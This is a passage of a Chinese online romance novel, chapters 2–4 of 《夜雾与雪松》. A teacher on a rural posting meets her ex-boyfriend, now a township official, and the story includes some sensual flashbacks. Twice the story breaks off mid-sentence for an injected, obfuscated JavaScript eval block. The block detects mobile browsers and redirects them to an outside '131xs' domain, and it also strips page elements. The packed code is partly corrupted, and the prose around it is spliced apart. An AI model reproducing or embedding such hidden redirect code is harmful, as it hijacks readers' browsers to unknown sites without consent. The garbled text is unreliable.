《夜雾与雪松》 2. 再见 第二章 三年过去,想起前男友时,程江雪仍下意识地齿关紧咬,口腔里冒出一股股酸水,咽不下去,也吐不出来,灼烧得她喉咙发麻。 和周覆在一起的日子,就如同晾在黄梅天里的绸缎,黏腻潮湿,又泛着细碎艳丽的光泽。 半天不见她作声,顾季桐才试探性地问:“我提提又怎么了,您还没过去呢?” 说什么过不过去? 她和周覆的这段关系,对他们两个来说,意义本就是不同的。 对周覆而言,只不过是在他百无聊赖的时候,随手拨给暗恋者的一份恩赐。 她两手皆空,从来就没抓住过什么,也谈不上放下。 “没有,早点睡觉。” 程江雪恹恹地挂了电话。 周一大早,她和这批前往西南的同事一起,在学校门口拉了长横幅留影过后,坐上大巴前往机场。 一整日他们都在路上赶,下了飞机又坐上公共汽车,分别将老师们送往目的地。 西南的小镇被群峰环抱,座座远山像坚硬的乌木屏风,山脊锋利而硬朗,仿佛是被谁用砍柴刀辟出来的。 “程老师,李老师,白水镇就在前面了,你们在这里下吧。”司机高声喊了一句。 程江雪扶着前排座椅起来,她惊讶地问:“李老师,你也分在白水镇吗?” 李峥和她同龄,两个人同一年进的附中,带高一的数学。 在程江雪的印象里,这个男老师嘴笨舌头沉,不善辞令,当了足足一年的同事,他们至今还没说到十句话,只是听说他从小地方考过来,工作努力,治学很严,责任心极重。 李峥扶了扶黑框眼镜,说:“是......是呀,来之前,我和黄老师换了一下。” “哦,难怪。”程江雪眸光一转,笑说,“我记得是黄老师和我一起,方才还纳闷,她怎么那么就早下去了。” “走吧。” 程江雪没多想,朝司机那头说了句:“麻烦您开开门,我们要拿行李。” 他们提着行李箱,站在路边,眼看班车开远了。 云层压下来,午后的阳光斜照在石板上,空气里弥漫炊烟和尘土的气味。 这是个民族杂居的镇子,路上有不少颈戴银饰,包着刺绣头巾的彝族女性经过。 街边挤着很多高声叫卖的小贩,熏得油亮的火腿整齐码着,耳边晃动银掐丝坠子的女人蹲在竹筐前,灵活地用手指翻动鸡枞菌,菌伞上的水珠折出西斜的日光。 程江雪戴着防晒帽,山风把她柔顺的头发自然地分到了两侧,拂动在艳红的夕阳里。 她抬手看了眼表:“学校那边不是说,有车来接我们吗?” 李峥不敢看她帽子下明亮的眼神。 他木讷地嗯了一声:“吴校长是讲了,镇上的周委员今天回市里交材料,差不多五点钟会回来,让我们就在这个路牌下等他。” “可现在已经五点一刻了。” 程江雪前后张望了一阵,县道上没有几辆车经过,只有背篓的村民从山上下来,弓着腰,只顾低头看路。 “实在不行......我们叫个车过去吧。”李峥精准地报出了路程,“我看过地图了,这里离学校十七公里,应该能在天黑前到的。” 但这里哪里有正规出租可以叫? 程江雪无奈地笑了笑:“还是再等等吧。” 几分钟后,一辆黑色帕萨特停在了他们眼前。 车上下来个年轻男人,白衬衫稳妥地束在黑色西裤里,领口吸着红色的徽章。 他顶着一副过分清俊的眉眼,唇角氲着温和笑意,眉峰一挑,目光自上而下地扫过她。 短暂相碰的那一秒,程江雪一颗心剧烈地跳动起来,眼神像暗夜里湍急的河流,涌出太多复杂、不可名状的情绪。 就是这么巧,原来周委员的周,是这个周。 他还是那副样子,最上面几颗扣子总不好好系,散漫地敞着,手搭在车门上看她时,露出一截线条匀称的冷白小臂,一股形容不出的风流蕴藉。 明明刚才还很松弛的肩颈,陡然端紧了。 为什么会在这里碰上他? 周覆抱歉地解释:“二位是来支教的吧?不好意思,路上有点堵车,来晚了。” 李峥事先没看过照片,不确定他是不是要等的人。 他疑惑地问了句:“周委员吗?吴校长让您来接我们的?” 周覆把手拿下来,嗓音松松懒懒的,隐约带着笑:“这你不用怀疑,你不认识,你的同事应该认识。” 两天前他就已经知道,这一批前来支教的老师中有程江雪。 很难形容他当时是什么心情。 只是在看过她的简历后,人就跟着恍恍惚惚起来,魂不守舍了好一阵儿。 他站到窗边去抽烟,抽一阵,又自顾自地皱一阵眉,望着院子里那株有了年纪的老榆树,登时觉得天地全非。 可冷静下来,过往岁月如流水,劈头盖脸朝他冲来时,又冲凉了他的心。 那年她大学毕业,悄无声息地就回了江城,他追到她家附近的巷子里,连他们的关系结束了,是个什么罪名都不知道。 黯然间,手中积了老长的烟灰,也跟着簌簌落了。 “程老师,你认识他吗?”李峥又转头去看程江雪。 她垂下眼眸,面容笼罩在帽檐的阴影里,看也不看就摇头,轻声说:“我怎么会认识他呢?” 李峥不明白其中的因由。 但程老师娴雅贞静,不可能会在这种事上撒谎。 于是他立刻警觉起来,抬起手让周覆暂时不要动,他要拍个照片跟吴校长确认。 “你请便。” 周覆单手插兜,嘴角噙着一丝淡笑,倜傥地站在原地,一副懒得和他一般见识,任凭他找谁质询的样子。 他脾气一贯是很温和的,言谈举止不带棱角,再拘谨胆小的人,和周覆说上两句话,就能在他面前放松下来。 她大学室友曾经说过,这世上绝大部分的帅哥,身上的光芒都太盛了,盛到刺伤人们的眼睛。 这种帅而自知,甚至变得自高自大,觉得全世界都该以他为中心,围着他转,这样的自以为是,蛮让人讨厌的。 但周覆的好看,在于灿烂夺目而又平易近人。 他出色的教养,风趣又不流于油滑的谈吐,打散了全部的锐利。 在一起两年多,程江雪从来没见他发过火,白玉面容上长了一双桃花眼,看山上的石头都温润多情。 要不然当年怎么那么多女生都迷恋他呢? 大家都见过世面,一两个人看走眼还可以理解,不至于通通在他身上栽跟头。 程江雪转过头,手抓着自己的行李箱不肯松。 从见了周覆,她的脚板心就一直发软,脉搏跳得很快,那种震颤强度带来的恐慌,逃窜在她身体的每一个毛孔里,她虚得快要站不住,必须撑着一样什么东西。 周覆倒不嫌耽误时间,他该交的材料都已经交完了,过了下班时间,回镇上的宿舍也是睡觉。 倒是程江雪,他们视线交汇过后,她就一直望着起伏的远山,不屑多看他一眼。 这几年好像更瘦了,这顶宽檐的遮阳帽把她的脸衬得格外小,细弱苍白,浓黑发丝游弋在金光粼粼的暮霭里。 走近了去闻,依稀还有山野间熟透了的青李芳香。 记忆里的气味开始凸显棱角。 周覆想起许多个大汗淋漓的夜晚,她脖间蜷曲的幽香随体温上升而舒展,每一次的呼吸都沾着绵密的潮气,打湿他们同样年轻,同样新嫩的身体。 他往前几步,脸上玩世不恭的表情,笑容渐渐暗了:“程江雪,这才多久,就不记得我了?” 程江雪暗暗地吐出一口气,这才抬起头看他。 “哦,是周学长啊。”她简短地打量后便收回目光,平静地说,“刚才隔得远,日光太刺眼了,我没看清。” 程江雪讲完了,轻盈地从他旁边绕过去。 她对李峥说:“李老师,他确实姓周,我认出他来了,不用等吴校长回复,上车走吧。” 而周覆还站着没动。 那股久别重逢的轻狂劲,如潮水般从他的身上退下去,取而代之的,是一种让人发慌发凉的阴冷。 那个眼神。 程江雪看向他的那个眼神。 她的目光清凌凌的,嶙峋的弯刀一样刮在他身上,掠过她眼底的微风,连一丝涟漪都没能带起来。 早已经没了过去那种,恨不得化成藤蔓缠住他的热烈和爱慕,甚至连初见时的羞涩都找不见了,只剩冰冷干脆的陌生。 完全是在看一个与己无关的人。 而她措辞也很巧妙。 事隔三年,已经需要花时间来“认出”他了。 小姑娘的忘性这么大啊,没良心。 “周委员。”李峥叫了他一句,“不好意思,麻烦你开下后备箱。” 周覆心里乱糟糟的,没有应,胡乱摁了下车钥匙。 李峥先帮程江雪放,没防备她这个箱子这么沉,一下子没提动。 难怪从车上拿下来的时候,要几个老师帮她一起搬了。 他尴尬地笑,壮起胆子换了个叫法:“小雪,你爸妈是不是把必需品都给你装上了?” 李峥知道,程江雪是家里的宝贝女儿,教养严格。 二十好几的人了,一周之内,下班晚的那么几天,她哥哥的车一定会在校门外,等着接她回家。 有时候学校老师聚会,程江雪也总是提前离场,拿上包,说不好意思,父母规定了十点前到家。 周覆则轻嗤了一声。 小雪,哪来的腻死人的称呼,同事而已,有必要叫得这么亲吗? 用的还是装出来的气泡音,够刻意的。 “没有。”程江雪并不在意,也笑不出来,“我们一起吧。” 她刚说完,身后伸过来一只修长白净的手,轻松地把那只大号行李箱拎起来,放进了后备箱。 程江雪的余光撇过去,只看到了周覆发力时,手背上根根凸起的青筋。 这双手很性感,曾经是她无尽情欲的源头。 在她的身上游走时,能轻易惹出一阵阵密集的颤栗,让她的呼吸又烫又急。 她转过头,轻声说了一句谢谢。 “不用谢。”周覆无声抬了抬唇角,拖着腔调,不大正经地叫她,“程老师。” 程江雪没理,拉开车门,坐在了后座上。 李峥放完自己的行李,大力合上后备箱,正要打开后面的门时,被周覆叫住了:“小伙子就坐前面吧,后头堆了不少文件。” “.....也好。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16098848|179753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>但坐上去之后,李峥看了一眼程老师旁边那几张薄薄的纸。 这叫不少? 山道像一条被揉皱的灰绸,弯弯曲曲的,在岩壁间七扭八拐。 行驶其间,从车窗外望出去,清晰可见悬在半空中的危巅,陡峭得像画扇中凸起的幻影,一头已然出画,另一头仍绣在山上。 程江雪隐隐惊心,周覆在这里工作多久了? “这路还挺难开的,周委员,你车技很好。”李峥发自真心地恭维了他一句。 周覆轻描淡写地说:“算好的了,白水镇下面还有几个村子,路更难走,我们上门走访贫困户,一个月要去好几次,每次都贴着崖边走,开的提心吊胆。” 李峥哦了声:“听口音,您也不是本地人吧?” “不是。”周覆小心地注意前方来车,回答说,“我是年初才调到这儿的。” 更多的话他也没有说。 李峥并不擅长交际,两个回合下来,便偃旗息鼓了。 诡异的静谧里,周覆从后视镜里扫了眼程江雪。 她面无表情地看着窗外,唇角的弧度实在算不上平和。 老习惯了,一长途跋涉她就这样,惯养大的娇娇女。 她读大学时,他们去旅行,下了飞机她就说不动话,饭也懒得吃了,把自己闷在酒店套房里睡觉,要哄半天才肯起身。 周覆聊家常的口吻:“李老师,你和程老师是教一个年级的?” “对,本来这学期她要带高二的语文,我教数学。”李峥说。 不知道他想起了些什么,喃喃重复了遍,声音低到几乎听不大清:“哦,教语文很好,她的文学素养不错的。” 李峥趁机给他道个歉:“刚才程老师没认出你,实在是不好意思。” 周覆虚应笑笑:“没事,这么多年没见了,小学妹把我忘了也很正常,又不是多要紧的人,是吧?” 他语气伤感,但不知道这个“是吧”是在问谁。 而李峥只怀疑,这个周委员样貌出众,像他班上的小女孩迷恋的日本初生代男偶像,能把非常主观的审美统一成客观标准,眼神活络,还很会讲话。 往回倒几年,放在大学校园里,应该在女孩儿身上无往不利的人物。 不见她否认,程江雪眨了下眼:“是,老早就忘了。” 她尾音咬得很重,化成棉絮般的实质,顺着空气钻进他的喉咙,噎了好长时间。 两个人都把对方抬得很高,但更像是结了不小的梁子,互相看不惯似的。 李峥在男女之事上的经历一片空白,猜不出来。 吴校长得知他们快到了,事先站在三岔路口处等,眼看熟悉的车开过来,招了招手。 周覆在他面前停下,他打开后面的门上车,先表示了感谢:“周委员,今天麻烦你了。” “顺便的事,您别放心上。”周覆眉目疏朗地笑了笑,“再说了,公家的车有那么好开的?总得服务好人民群众。” 吴校长也跟着笑了,周覆是省里调下来的组织员,主管党建的同时,还负责白水乡的扶贫工作。 来之前就听说,这位是选调生,家里背景很不一般,原先他们还刻板印象,觉得这公子哥儿脾气不会小,大约是个难讲话的。 但周覆来了半年多,和上上下下的关系都处得相当好,身上半点架子也没有。 他又和两位来支教的老师打招呼,做了个自我介绍。 “您好,我是程江雪,叫我小程就好。”程江雪笑着说。 吴校长点头:“欢迎你们,程老师,听说你是f大的文学硕士,高材生啊。” 程江雪当即表态:“不敢当,李老师水平也很高的,既然来了,这一年我们一定竭尽所能,把学生们的成绩提上去。” “好好好。”吴校长欣慰地说,“工作的事不急,先把你们安顿下来。是这样,学校只剩一间男老师的宿舍,可能要委屈你一下,住到镇政府的干部宿舍去,好在离得也不远,我跟办公室打过招呼了。” 在哪儿住都不要紧,只要是安全的地方。 程江雪没意见,很快答应。 吴校长说:“周委员,那就再辛苦你,顺路带程老师去宿舍,我领李老师回学校。” “好。”周覆公事公办地答。 等一下。 周覆被调到这儿,是不是他也住在宿舍?他能住得了吗? 程江雪的脑子奔波坏了,到现在才转过这个弯,她慌张地去叫吴校长:“那个......” 车内的气氛尴尬了一阵子,所有人都在等她的后文。 吴校长也和蔼地问:“程老师还有什么问题吗?” 现在拒绝好像来不及了。 她只能寄希望于白水镇的宿舍楼大一点,不用每天和他照面。 一番思想斗争之后,程江雪摇摇头,慢半拍地表示:“没事,我想说,那就谢谢周委员了。” “小程老师真是客气。” 周覆的调子懒洋洋的,不用看见他的正面,程江雪都知道他正抬着唇,漫不经心地笑。 那个笑容里是住着风的,能把人带去遥远美丽的地方,她曾深深迷恋他那个表情。 但分手后才明白,有的人生来自由散漫,注定只能被观赏和体验。 她只是侥幸涉险而过,那并不表示她能独占这座青山。 3. 再见 第三章 车开到了学校门口,吴校长和李老师先下来。 吴校长抱歉地说:“程老师,今天太匆忙了,晚饭就让周委员带你到食堂吃,我也刚从教育局回来,黎书记的意思是搞个欢迎会,镇政府的年轻同志也会一起,人多热闹。” “好,到时候我一定参加。”程江雪说。 取了行李后,李峥又绕到车窗边,叮咛道:“程老师,那我就先进去了,你有事给我打电话,我二十四小时开机。” “李老师很关心同事啊。”周覆勾起一侧的唇,没忍住说了句。 程江雪没反应,像没有听见似的。 事实上,从坐上了周委员的车开始,李峥就觉得她有点心不在焉。 但作为同性,他敏锐地听出了这句话里一点争锋相对的意思。 李峥舌头差点打结:“我们......我们一起来的嘛,照顾女生是应当的。” 程江雪的手搭在窗边:“谢谢你。” “不用。”李峥被她看得不好意思,催促说,“快走吧,早点去休息。” 等他们说够了,周覆才慢腾腾地发动车子。 这小子那点野心思都写在脑门上了。 就不知道程江雪看出来没有。 上午出门时下了雨,车轮碾过田间松软的泥土,印下几道深深的辙痕。 几只雀鸟腾起来,扑着翅膀,被经过的车辆惊动,仓皇遁入更深的绿影里。 眼前稻浪翻滚的大片沃野,周覆忽然看着有点烦了。 从学校到镇政府不远,几分钟就够了,但路过大门时,周覆目不斜视地开过去,继续行驶在柏油路上。 “这不是到了吗?”程江雪惊讶地问,“为什么不进去?” 她的声音清脆依旧,音量也不大不小,像随手误拨的古筝弦。 只是曲调虽在,当中的情意却杳然了。 “这个点了,食堂早就没饭了,再说我今天在市里,也没报餐,带你去外面吃好吗?”周覆的手指轻敲着方向盘,有微微的滑腻。 他说完,耐心地等着她的意见。 周覆伸出手,习惯性地摸摸车座旁的矿泉水,冰镇过的瓶身上沁满了水珠,凉凉地贴在掌心,却消解不了他胸口那份烫人的焦渴。 跟李老师说话的时候,他一直在观察她的表情。 夕阳余晖放肆地泼洒在她身上,照出她白净面孔上细细的短绒,柔润的嘴唇张合两下,唇色像浸在蜂蜜柚子里般剔透,看上去很好吻。 他从前喜欢压着她吻,在他连续不断地吮吸下,小小的、软软的唇被吻到红肿起来,睫毛从她的颧骨处扫过,他总是在这种时候贴着她的耳廓,叫她宝宝,喊她的小名般般,不停地道歉,说对不起,说他忍不住。 但在程江雪听来,却是接下来可能更激烈的预告,她因此抖得厉害,不停流出透明黏腻的水丝。 以程江雪现在的态度,说不定宁可回宿舍泡面,也不愿和他坐下来吃饭。 更不会再轻易地让他吻到。 可她是体面的人,不是被冒犯得太狠,不会叫人下不来台。 所以周覆拿捏不准。 如果她大声喊停车,那么,他只好为自己的擅作主张道歉,然后掉头,将她送回宿舍。 可等了半天,也只等来程江雪一个“哦”。 除此之外,她再也不肯多说一句了。 可能是真想吃东西了,也可能是真把他当司机。 但程江雪想的是,他都坦荡无私,像完成一件普通的接待任务,她要是再扭捏犹豫,显得自己多小气,多在意似的。 何况她也确实饿了。 更重要的,她初来乍到,不知道哪里有可口的饭馆。 旧情人见面,比的不就是谁更耐得住性子,更沉得住气吗? 难道她连和他吃顿便饭的肚量也没有? 耿耿于怀的那一方,总是难逃落了下乘的嫌疑。 程江雪也不要他后悔,更不想看他表现出莫须有的不甘,她只是想让周覆知道一件事——关于过去那笔账,她已经愿赌服输,买单退场。 他是周覆,是当年远近闻名的琢玉郎,是艳在无数人窗前的那轮白月光,是没被任何姑娘攻下的坚固堡垒,但那又怎么样? 当他再次眉眼清隽,温和有礼地出现在她面前,也很难影响到她了。 “到了。”周覆把车开到一间两层高的楼屋前。 程江雪的行李都在后面,身边只剩一个小小的单肩包,她拿上下了车。 这就是她要待上一年的地方? 程江雪驻足车边,朝田埂方向望了望,零星散落的农舍上方,正升起袅袅的炊烟,泥土的腥气,和被日光炙烤过的稻苗香,一齐涌入她的呼吸里。 天空烧得浓烈,远处山峦的轮廓被晕染得模糊了,大片大片的红云像要熔断夜幕。 这是一个风光秀丽的村庄,很有她曾在《诗经》里读到的——“六月食郁及薁,七月亨葵及寂”那份鲜活的时序感。 周覆在原地等,没有出声催促,他的视线钉在她薄而瘦的后背上,眼看黄昏柔和的光线像一片朦胧的薄纱,温柔地包裹住她。 她终于看够了,转身时也没和他做眼神交流,盯着地面:“可以进去了。” 还是没拿正眼看他。 周覆想起前几年在丽江,晨光初染山脊的瞬间里,素白雪坡倏地耀目起来,白得惊心,但一转头,程江雪的视线仍黏在他脸上。 他笑着把她抱到怀里问:“不是吵着要来这儿吗,怎么又不看?” 她也老实,直言:“你比雪山好看。” 话刚说完,二人便难舍难分地吻到了一起。 周覆低了低头。 事到如今,她不会再有那样平铺直叙的眼神给他了。 “周委员来了,今天要吃点什么菜?”饭店的老板娘迎出来,看上去和周覆很熟络,热情地介绍说,“有新摘的茄子,是我婆婆自己种的,没打一点农药,炒两个给你尝尝?” 周覆说:“我无所谓,看远道而来的客人吃什么。” “这位是您的客人?好水灵文静的小姑娘。”老板娘凑近了两步,用夹着本地口音的普通话说。 周覆一只手插在兜里,含笑说:“程老师是来支教的,算全镇的客人吧。” 老板娘很有眼色,大声噢了句,兴高采烈地说:“来支教?我儿子也在读初中,那这顿我请程老师吃,感谢您大老远来我们这里!” “不用,我代表大家请就可以了。”周覆摆了下手。 兴许聊天的氛围太轻松,程江雪又一直敛眉不语,乖巧地站在他的身边,让周覆生出荒诞的时空错位。 仿佛这几年的嫌隙不复存在,他们还在校门口的小饭馆里,程江雪还是那个爱黏他,被他惯得很爱使小性子,但却不怎么喜欢吃饭,总要想法子弄她多吃几口的小女友。 他随口指了下摆满蔬菜的货架:“这里的菜都挺新鲜的,老板娘的丈夫手艺很好,我们镇里的同事也常来。般般,看你要吃点什么。” 周覆叫她般般的时候,语气是冲也冲不淡的熟稔与温柔,声线舒缓动听。 她愣了下,无声地抬起头,注视着他。 又是这个眼神。 瞳孔微微地张大,却不掺杂任何的感情,好似拂过天边的云烟。 连愠怒都没有,目光中就只有一道阒黑的平静。 仿佛对着他,她连一样起伏的情绪都不再拿得出来。 到这一刻,周覆才愿意相信,程江雪是真的不爱他了。 是啊,他忘了。 三年前,她就已经毫不留恋地退出了他的人生。 像关灯一样,“啪”的一声,利落地走了。 还是个女学生的程江雪不够圆滑,会在受到不公正的待遇时,小声却执拗地和教授理论,甚至怕自己乖得太久,会怯场,连夜写好一二三四点揣在身上。 她也不够世故,明明做的事情最多,但在学生会还是吃不开,功劳全被比她会做人的抢了。 但她一定足够勇敢干脆,明知道鲁莽地拔剑会输,仍然不肯违背青涩的赤忱。 她身上有孩童般的执着与天真。 不论经过谁的视野,人们都会喜欢上她。 岁月好像什么也没带走,人还是记忆里的那个人。 唯一的分别是,她已经不肯再看他了。 后厨的一缕油烟味飘过来,被周覆吸进肺里,化开成无数根细小的芒刺,扎得他心口深处倏地一痛。 分别时来不及拔出的弯钩,经年累月的,它和自己的血肉粘连在了一起,冷不防地就扯动一下。 两秒后,程江雪警惕且陌生地告诫他,声音很轻:“麻烦叫我程江雪,或者程老师,般般是小名,归家里人叫的。” “不好意思,一下子忘了。”周覆抬了抬手,露出个似笑非笑的,有点为难的表情,“不过,你不用这么如临大敌的吧?只是个称呼而已。” 她端详着他的神色,说:“要的,称呼是很关键的事。” 谁知道呢。 谁知道是忘了,还是在故意地试探她,引诱她,总之姓周的手段又多又高明,能把人哄得团团转。 偏偏她最禁不起他引诱。 周覆像生出了天大的疑惑,掐着烟的手点了下外面:“刚才那个小伙子怎么就叫你小雪呢?” 李峥这么叫她了吗? 她根本没听见,注意力不知道跑去了什么地方。 也许叫了吧。 程江雪仰起脸,眸中轻荡着潋滟的水光:“我们是同事,平常关系很好的,怎么了吗?” “是吗?”周覆自嘲地笑了下,“你们是好同事,那我们是什么?” “我不是说了,你是我学长。” “哦,同事都能叫,学长不能叫?程江雪,你分得好清啊。” “还是分清一点好。” 她的表情越来越倔,脖子因为争辩而泛红,两瓣唇像被熨斗烫过,抿得又紧又平。 周覆不再逗她,沉默了一息之后:“点菜,肚子应该早就空了。” “好。” 程江雪看那茄子紫溜溜的,小而圆的一个,有些长歪了,不如超市里卖的那般品相好,但这才是最绿色健康的。 “就烧个茄子吧。”她说,又指了下木筐里的辣椒,“我看这些也不错。” 周覆站在她身后,仍为刚才的论述紧皱着眉心。 他剽了一眼,语调很温和地劝她:“这边的辣椒都很辣,你吃不了的。” 程江雪在江城长大,喜欢浓油赤酱的做法,但沾不了一点辣。 有时带她去会所吃饭,碰上几道鲜辣的菜,她实在想尝一口,周覆都会用开水烫一烫,去掉一些辣味,才敢放到她碗里。 “我吃得了。”程江雪直起后背,力争道,“这几年我能吃一点辣了。” “好好好,你能吃。”周覆转头交代老板娘,“再做几个家常菜,不要另外加辣了,她的胃受不了,米饭盛软一点的。” 老板娘听出端倪,笑着打听:“你们以前就认识啊?” “认识,我们是校友。”程江雪怕他这张花里胡哨的嘴乱说,提前解释道,“我上大学的时候,他在读研,不过不是一个专业。” 这里的民风很保守,她还要待上一年呢,别刚到就传出风言风语,她也不想再和周覆扯上关系。 但老板娘不大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16098849|179753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信,一个学校里头人多着呢,只是这层关系,哪能知道得这么仔细? 两个人的神态也不对,像闹了别扭还没和好的小情侣。 老板娘又用眼神向周覆求证。 他惨淡一笑:“她说是什么就是什么,程老师是绝对真理。” “好,你们二位稍坐几分钟,菜马上好。” 狭小的空间里放了三张桌子以后,就显得很拥挤了。 说是餐厅,也不过是自家的房子改的,三个房间做成了包厢,楼上还住着他们一家五口。 程江雪拣了靠门边的座位坐,这里风大,不那么闷。 她压着裙摆,刚要坐下去时,周覆说了句等一下。 程江雪弓了身子,半弯着腰看他,不知道要等什么。 她看见周覆抽了几张纸巾,擦了擦沾着灰土的长椅子。 对上面前疑惑的目光,他抬头时笑了下,关怀地说:“怕你嫌不干净,现在可以坐了。” 程江雪也没道谢,径自坐下。 她忘了她刚才想说什么。 可能是想告诉他,她并没有觉得这里不干净。 她要是怕乡村不干净,就不会争着来支教了。 要怪就怪他唇角弯得太温柔。 坐定后,周覆又用开水烫了一遍餐具,才推过来给她。 程江雪的手指搭在桌沿,以一种淡漠疏离的姿态,看完他走完了这套流程。 他实在是没有必要做到这个地步。 以前谈恋爱,处处照顾呵护她就算了,现在还这样是为什么? 尽地主之谊吗?他自己也是暂时派过来,充什么地主? 想到这里,程江雪忽然蹙起眉头。 怎么都三年了,她还像谈恋爱的时候一样,只要他那边一有风吹草动,她的坏情绪就乱糟糟地滚落,心神不宁的,什么事都做不好,专业书也看不进了。 她过去对周覆的迷恋是如此的声势浩大。 它们滂沱地来,又滂沱地去,把她的理智洗劫一空,她的主体性,她的思想内核被削成薄薄的一片,使她疯魔,使她谵妄。 程江雪笑了,笑自己好不争气。 还是这么喜欢添油加醋地去揣摩他的举动。 随周委员的便吧,他愿意无时不刻展示他是个翩翩贵公子,那就让他尽情地演个够,有什么值得分析研究的? 就算是其他人,他该吃饭也要吃饭,也会带来这里,也一样冲洗餐具。 这并不特殊,程江雪对自己说,别想太多。 你长大几岁了,不好再和上大学的时候一样拎不清。 还不明白吗? 周覆对这个世界一视同仁,这是他的风度,他的教养,但不表示他心里装着谁。 “笑什么?”周覆应着她的声响,唇边的笑更柔和了。 程江雪垂下眼睫,摇摇头:“没有,一件无关的小事。” 他就坐在她的面前,她还能分心想这些,把他忽略得够彻底的。 周覆没继续追问什么事,就算问了,程老师也未必会告诉他,还白讨她的嫌,他在秩序森严的大院里长大,天长日久,耳濡目染,最会看的便是这种脸色。 他顿了一下,寒暄起长辈的健康:“奶奶身体还好吧?” 脑子里绷紧的弦松了,程江雪用筷子戳了两下碗底,说:“好,走之前还阴阳了我两句,不能再好了。” “还是那个样子,总是捧着你哥哥是吧?”周覆看着她的脸说。 她是很恬淡素净的长相,静静地托腮坐在那里,像一只不染尘埃的甜白釉,摆在什么地方都不突兀,但被人注意到了之后,也很难再挪得开目光,总想一直看下去。 程江雪撇唇:“是啊,岁数大了,要转变她的想法是很难的,好在我也没有这个宏愿。” “宏愿。”周覆呢喃了一声,继而低了低下巴,笑起来。 她讲话还是这样,语调轻柔如丝,可总是在那么一两个字眼里,掖着微妙的讽刺。 程江雪没管他在笑什么。 她从包里拿出个黑色方盒,向上推开,取了粉扑,往容易出油的地方,补了点防晒散粉。 本来在车上就该补的,一路上太阳那么大,这一下午,她都担心自己晒过敏了,又要起红疹子。 周覆看她一眼,笑说:“吃饭呢,还化什么妆?我又不挑你的礼。” 谁说是怕他挑礼了? 程江雪把镜子合上,她故作好奇地问:“这边的规矩是吃饭前不能补妆吗?” “那倒也没有。”周覆被问住了,屈起根手指,在眉心挠了下。 程江雪仍维持着懵懂的样子:“没有为什么要抓额头呢,该不会是为了掩饰尴尬吧?” 闻言,周覆面上僵了很短的一瞬。 大了几岁,嘴皮子功夫也更伶俐了,再配上她宁和的神情,不知道的人,还真以为在虚心提问。 周覆勾了下唇,也不遑多让地回了句:“我是怕你太拘束,和我吃个饭,还刻意把自己打扮一番,好给我瞧瞧。程江雪,咱们俩就不必拘这些了,生分。” 毕竟彼此最本真的样子都见过,熟得不能再熟了。 他脸上浮动很轻的笑意,撑着桌子,注视着她说生分的时候,风流浪荡的姿态显露无遗。 程江雪看得愣了下。 “......你误会了,我还真不是给你看的。” “我就在你对面坐着,不是给我看给谁看?” 程江雪扬了扬下巴,三五个村民正扛着锄头走过,她说:“咦,给广黔大地上的父老乡亲们看,不行吗?” “行。”周覆顺着她的角度望去,回过头,又低又闷地笑了声,“你怎么高兴怎么来。” 4.再见 第四章 菜端上来以后,周覆先擦干净白瓷勺,给她盛了小半碗红酸汤鱼。他说:“尝尝,这道菜老板很拿手的。” 那汤色泽红亮,醇厚浓郁的酸味直往鼻子里钻,又带了点微微发酵的辣。 程江雪舀了一口喝下,是不错,便又搛起块白嫩的鱼肉。 看她吃得高兴,周覆牵动了下唇角:“怎么会想到来支教?” “学校有这项安排,缺人。”程江雪不想和他多说,简短地答。 他低头,手在膝盖上滑动一下,哦了声:“这样。” 又不免好笑地自问,他是在抱有什么幻想。 别说她不会晓得自己在这里,说不好提前知道了,未必肯来。 “否则你以为呢?”程江雪抬起下巴时,有熟悉的薄荷味从他起落的袖口间飘出来。 一道斜光打在他的眉目间,照出眼下一圈疲乏的青痕,淡淡的。 颠簸的路程结束,胃里有了暖热的食物后,她重新闻到他,看见他,感受到他的气息,心里说不出的麻和痒。 周覆的声音和光线一样,暗沉沉的:“没什么,我是觉得你家里不会同意,也不放心你来这么远的地方。” 他们谈恋爱那会儿,程江雪就从不敢让父母知道有他这么个人。 每次去他那里住上个一两晚,事先还要让室友配合撒个小谎,保密程度不亚于地下党碰头。 “是不同意。” 程江雪把勺子搁在一边,“但我是瞒着他们报名的,我爸妈事先不知道。” 周覆平淡地点头,一副“我就知道猜到会是这样”的表情。 然后侧过脸,笑得很像个长辈的样子:“长大了,现在都学会先斩后奏了。” 以前可是连剪个头发都要和妈妈商量半天的乖女儿。 “应该是学坏了。”程江雪垂着眼,若有所思地看着他,“我爸说我现在很难管。” 周覆微微意外的神色:“只是现在难管吗?你没有跟你爸说,你大三暑假心血来潮,和同学骑车上山迷了路,落了单崴了腿,手机还掉了,我和警察同志找了你大半夜的事吗?” “......”程江雪的脸红了红,“我说那个干嘛,揭自己的短吗?” 周覆恍然大悟:“原来这叫短,我以为热爱户外运动是长处,不好意思。” “你吃不吃了?”程江雪气得破了功,瞪着他,“总说些八竿子打不着的。” 周覆伸出筷子去夹菜,眉尾勾起一抹深意:“也没过去几年,怎么会打不着。” 程江雪却说:“过去一年也是过去了,像这种无关紧要的事,谁会一直记得。” “但我记得。”周覆看着她的眼睛说。 而且也不能用无关紧要来形容。 他眼眸黑沉,像骤然铺盖在山野间的夜晚。 程江雪低下头,无的放矢地在碗里拨动两下:“哦,那真是难为你了。” 周覆:“......” 现在好会打发人。 三言两语之间,他连话都不知道该怎么回。 吃完东西,程江雪放下筷子就要去结账。 